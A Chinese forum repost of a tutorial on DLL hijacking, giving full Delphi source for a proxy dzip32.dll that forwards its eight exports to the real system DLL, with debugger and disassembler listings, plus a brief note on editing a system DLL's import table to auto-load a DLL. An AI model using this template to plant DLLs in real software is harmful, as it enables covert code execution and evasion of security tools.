刚刚查点资料,翻到看雪一篇文章,写的还行(作者功力欠佳,从他文章描述来看,他对这方面的知识十分缺乏……),就转过来了,貌似没人怎么关注这个……

文章有少量修改,并进行了一下排版。


标 题: [原创]dll 劫持 详细分析

作 者:kwting

时 间:2011-10-30,18:17:20

链 接:http://bbs.pediy.com/showthread.php?t=142108

dll 劫持技术我想对于大家来说都不陌生吧。。。。。。dll劫持在很多方面应用很广。。尤其是对于某些xx杀毒软件  xx 安全卫士在某些方面有用。。

dll 劫持技术操作起来其实很简单  这个技术出现的原因。。我想是因为在软件中对于很多系统的dll 没有一个固定的加载路径导致的吧(个人这样想的),于是他在软件启动的时候对于有的dll便用搜索的方式查找。。。。于是导致dll劫持技术的产生。。。。

dll劫持技术就是先编写一个和需要劫持的dll的同名的dll ,那么这个dll需要的是拥有和原本dll相同的输出表,从而使得dll 被劫持后任然能正常工作。

在不久前,我还不知道有这个技术的存在(才疏学浅),看到有人把一个dll放到exe下面。。。那个dll也就自动运行了。。。当时我就很纳闷。。因为据我所学的dll 不能单独运行的。。。我想那个exe是某游戏公司的,那么那个exe不可能调用这个dll、、、、、很久很久以后我知道了。。原来这门技术叫dll 劫持技术、、、

下面我就详细说一下如何劫持dll 吧。。。下面用到的是:pascal  编程语言  工具是delphi 7

****************** 劫持dzip32.dll ********************************

Library dzip32;
uses
Windows,
SysUtils,  
Classes;
{$R *.res}
var
ModHandle: Cardinal;
pdzip,pdzipVB,pgetZipExternalCancel,pgetZipProgTitle,pregisterExternZipProg,presetZipProgTitle:pointer;
psetZipExternalCancel,psetZipProgTitle:pointer;

PROCEDURE  dzip ; asm  jmp pdzip  end;  
PROCEDURE  dzipVB ; asm  jmp pdzipVB  end;
PROCEDURE  getZipExternalCancel ; asm  jmp pgetZipExternalCancel  end;
PROCEDURE  getZipProgTitle ; asm  jmp pgetZipProgTitle end;
PROCEDURE  registerExternZipProg ; asm  jmp pregisterExternZipProg  end;
PROCEDURE  resetZipProgTitle ; asm  jmp presetZipProgTitle  end;
PROCEDURE  setZipExternalCancel ; asm  jmp psetZipExternalCancel  end;
PROCEDURE  setZipProgTitle ; asm  jmp psetZipProgTitle  end;

exports
dzip,
dzipVB,
getZipExternalCancel,
getZipProgTitle,
registerExternZipProg,
resetZipProgTitle,
setZipExternalCancel,
setZipProgTitle;
begin
ModHandle:= LoadLibrary('C:\WINDOWS\system32\dzip32.dll');
if ModHandle > 0 then
begin
   Pdzip:= GetProcAddress(ModHandle, 'dzip');
   PdzipVB:= GetProcAddress(ModHandle,'dzipVB');
   PgetZipExternalCancel:= GetProcAddress(ModHandle,'getZipExternalCancel');
   PgetZipProgTitle:= GetProcAddress(ModHandle, 'getZipProgTitle');
   PregisterExternZipProg:= GetProcAddress(ModHandle, 'registerExternZipProg');
   PresetZipProgTitle:= GetProcAddress(ModHandle, 'resetZipProgTitle');
   PsetZipExternalCancel:= GetProcAddress(ModHandle, 'setZipExternalCancel');
   PsetZipProgTitle:= GetProcAddress(ModHandle, 'setZipProgTitle');
end;

end.

**************************************************************

上面的源码很简单 。。。简单的几句代码便可以劫持dzip.dll这个文件了。。。。其实上面真正有用的无非就

1:PROCEDURE  dzip ; asm  jmp pdzip  end;  

2:ModHandle:= LoadLibrary('C:\WINDOWS\system32\dzip32.dll');

3:Pdzip:= GetProcAddress(ModHandle, 'dzip');

其他的都是一样的。。。。。。。。。。。我们首先来看一下系统中dzip.dll这个文件的输出表(lordpe)

->Export Table
  Characteristics:        0x00000000
  TimeDateStamp:          0x44BD369E  (GMT: Tue Jul 18 19:29:34 2006)
  MajorVersion:           0x0000
  MinorVersion:           0x0000  -> 0.00
  Name:                   0x00021608  ("DZIP32.dll")
  Base:                   0x00000001
  NumberOfFunctions:      0x00000008
  NumberOfNames:          0x00000008
  AddressOfFunctions:     0x000215B8
  AddressOfNames:         0x000215D8
  AddressOfNameOrdinals:  0x000215F8

  Ordinal RVA        Symbol Name
  ------- ---------- ----------------------------------
  0x0001  0x000017B0 "dzip"
  0x0002  0x00002650 "dzipVB"
  0x0003  0x00004E50 "getZipExternalCancel"
  0x0004  0x00004DC0 "getZipProgTitle"
  0x0005  0x00004C40 "registerExternZipProg"
  0x0006  0x00004D30 "resetZipProgTitle"
  0x0007  0x00004E70 "setZipExternalCancel"
  0x0008  0x00004CB0 "setZipProgTitle"

他的导出函数很少。。。所以我才采用这个dll来讲。。。。。。

到处函数就8个  。。。。。。。。。。。。。。。。。。。。。

于是

1:PROCEDURE  dzip ; asm  jmp pdzip  end; 

这个函数就是伪造一个同名的dzip 函数。。。然后通过如果调用这个函数的时候便主动跳到这个函数的真正地址。。于是才能够不影响这个dll的正常功能。。。那么进行跳到这个地址的操作就

asm
jmp pdzip    //  就是跳到系统中dzip中  dzip 函数的头部。。
end;

用od 加载一下就可以看到了

009E9707    90              nop
009E9708 >- FF25 700E9F00   jmp dword ptr ds:[0x9F0E70] ; dzip32_1.dzip
009E970E    C3              retn
009E970F    90              nop
009E9710 >- FF25 740E9F00   jmp dword ptr ds:[0x9F0E74] ; dzip32_1.dzipVB
009E9716    C3              retn
009E9717    90              nop
009E9718 >- FF25 780E9F00   jmp dword ptr ds:[0x9F0E78] ; dzip32_1.getZipExternalCancel
009E971E    C3              retn
009E971F    90              nop
009E9720 >- FF25 7C0E9F00   jmp dword ptr ds:[0x9F0E7C] ; dzip32_1.getZipProgTitle
009E9726    C3              retn
009E9727    90              nop
009E9728 >- FF25 800E9F00   jmp dword ptr ds:[0x9F0E80] ; dzip32_1.registerExternZipProg
009E972E    C3              retn
009E972F    90              nop
009E9730 >- FF25 840E9F00   jmp dword ptr ds:[0x9F0E84] ; dzip32_1.resetZipProgTitle
009E9736    C3              retn
009E9737    90              nop
009E9738 >- FF25 880E9F00   jmp dword ptr ds:[0x9F0E88] ; dzip32_1.setZipExternalCancel
009E973E    C3              retn
009E973F    90              nop
009E9740 >- FF25 8C0E9F00   jmp dword ptr ds:[0x9F0E8C] ; dzip32_1.setZipProgTitle
009E9746    C3              retn

上面是通过od 加载后看到的汇编代码。。。。。。

他的源码其实就是

PROCEDURE  dzip ; asm  jmp pdzip  end;  
PROCEDURE  dzipVB ; asm  jmp pdzipVB  end;
PROCEDURE  getZipExternalCancel ; asm  jmp pgetZipExternalCancel  end;
PROCEDURE  getZipProgTitle ; asm  jmp pgetZipProgTitle end;
PROCEDURE  registerExternZipProg ; asm  jmp pregisterExternZipProg  end;
PROCEDURE  resetZipProgTitle ; asm  jmp presetZipProgTitle  end;
PROCEDURE  setZipExternalCancel ; asm  jmp psetZipExternalCancel  end;
PROCEDURE  setZipProgTitle ; asm  jmp psetZipProgTitle  end;

****************************************************************

就拿这段来分析分析吧。。

009E9708 >- FF25 700E9F00   jmp dword ptr ds:[0x9F0E70]              ; dzip32_1.dzip
009E970E    C3              retn

对于的源码是

PROCEDURE  dzip ; asm  jmp pdzip  end;

就是通过伪造这个函数名。。当这个函数被调用 时候就自动跳到真的函数地址当执行玩成后再跳回去

比如

***************************************************************

于是基本的都弄清楚了。。。。。。。。。。大家也许还有个疑问  就是软件是怎么知道哪个地址是他函数的真正的地址呢

于是

2:ModHandle:= LoadLibrary('C:\WINDOWS\system32\dzip32.dll');//如果系统盘不是c盘。。。那么自己先获取系统盘符。。然后改一下就行了。。。

3:Pdzip:= GetProcAddress(ModHandle, 'dzip');

这2个函数便起作用了...............................

所谓的地址只有当dll加载到内存中才可能有地址。。。。于是

ModHandle:= LoadLibrary('C:\WINDOWS\system32\dzip32.dll');

这一句的作用便是加载dll

Pdzip:= GetProcAddress(ModHandle, 'dzip');

这一句便是在真正的dll中获取dzip的地址

在dll入口。用ida 看一下便知道

**********************************************************

BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
CODE:00479A4C                 public DllEntryPoint
CODE:00479A4C DllEntryPoint:
CODE:00479A4C                 push    ebp
CODE:00479A4D                 mov     ebp, esp
CODE:00479A4F                 add     esp, 0FFFFFFC0h
CODE:00479A52                 push    ebx
CODE:00479A53                 push    esi
CODE:00479A54                 push    edi
CODE:00479A55                 xor     eax, eax
CODE:00479A57                 mov     [ebp-40h], eax
CODE:00479A5A                 mov     eax, offset dword_4797AC
CODE:00479A5F                 call    sub_406070
CODE:00479A64                 xor     eax, eax
CODE:00479A66                 push    ebp
CODE:00479A67                 push    offset loc_479B74
CODE:00479A6C                 push    dword ptr fs:[eax]
CODE:00479A6F                 mov     fs:[eax], esp
CODE:00479A72                 mov     esi, offset dword_479B84
CODE:00479A77                 mov     edi, offset unk_480D6C
CODE:00479A7C                 mov     ecx, 40h
CODE:00479A81                 rep movsd
CODE:00479A83                 push    0FFh
CODE:00479A88                 push    offset unk_480D6C
CODE:00479A8D                 call    GetSystemDirectoryA
CODE:00479A92                 lea     eax, [ebp-40h]
CODE:00479A95                 mov     edx, offset unk_480D6C
CODE:00479A9A                 mov     ecx, 100h
CODE:00479A9F                 call    sub_40434C
CODE:00479AA4                 mov     edx, [ebp-40h]
CODE:00479AA7                 mov     eax, offset dword_480E6C
CODE:00479AAC                 mov     ecx, offset dword_479C8C
CODE:00479AB1                 call    sub_4043E8
CODE:00479AB6                 mov     eax, ds:dword_480E6C
CODE:00479ABB                 call    sub_40459C
CODE:00479AC0                 push    eax
CODE:00479AC1                 call    LoadLibraryA
CODE:00479AC6                 mov     ebx, eax
CODE:00479AC8                 test    ebx, ebx
CODE:00479ACA                 jbe     loc_479B50
CODE:00479AD0                 push    offset aDzip    ; "dzip"
CODE:00479AD5                 push    ebx
CODE:00479AD6                 call    GetProcAddress_0
CODE:00479ADB                 mov     ds:dword_480E70, eax
CODE:00479AE0                 push    offset aDzipvb  ; "dzipVB"
CODE:00479AE5                 push    ebx
CODE:00479AE6                 call    GetProcAddress_0
CODE:00479AEB                 mov     ds:dword_480E74, eax
CODE:00479AF0                 push    offset aGetzipexternal ; "getZipExternalCancel"
CODE:00479AF5                 push    ebx
CODE:00479AF6                 call    GetProcAddress_0
CODE:00479AFB                 mov     ds:dword_480E78, eax
CODE:00479B00                 push    offset aGetzipprogtitl ; "getZipProgTitle"
CODE:00479B05                 push    ebx
CODE:00479B06                 call    GetProcAddress_0
CODE:00479B0B                 mov     ds:dword_480E7C, eax
CODE:00479B10                 push    offset aRegisterextern ; "registerExternZipProg"
CODE:00479B15                 push    ebx
CODE:00479B16                 call    GetProcAddress_0
CODE:00479B1B                 mov     ds:dword_480E80, eax
CODE:00479B20                 push    offset aResetzipprogti ; "resetZipProgTitle"
CODE:00479B25                 push    ebx
CODE:00479B26                 call    GetProcAddress_0
CODE:00479B2B                 mov     ds:dword_480E84, eax
CODE:00479B30                 push    offset aSetzipexternal ; "setZipExternalCancel"
CODE:00479B35                 push    ebx
CODE:00479B36                 call    GetProcAddress_0
CODE:00479B3B                 mov     ds:dword_480E88, eax
CODE:00479B40                 push    offset aSetzipprogtitl ; "setZipProgTitle"
CODE:00479B45                 push    ebx
CODE:00479B46                 call    GetProcAddress_0
CODE:00479B4B                 mov     ds:dword_480E8C, eax
CODE:00479B50

**********************************************************

对着源码看一下便一目了然了。。我就不再这里重复了。。。。。。

上面分析了dll 劫持。。。

///*********************************************************

下面再说一种改dll的导入表。。一样能达到相同的功能。。就是让别的软件自动加载你的dll的效果。。。

用到的工具很简单。。其实这个方法属于自己想到的。。。不久以后我再看雪的书上看到了同样的方法,。。。。。不论怎么样。。。。学到是自己的就行了。。。

下面我用的是lordPE这个工具。。。改系统dll的导入表

下面的我就简单讲一下了。。操作很简单

当某个软件调用这个dll 那么这个dll 就会加载他导入表中的所有dll  这样你的dll也自然加入到内存中去了

这个很简单。。。我就不详细分析了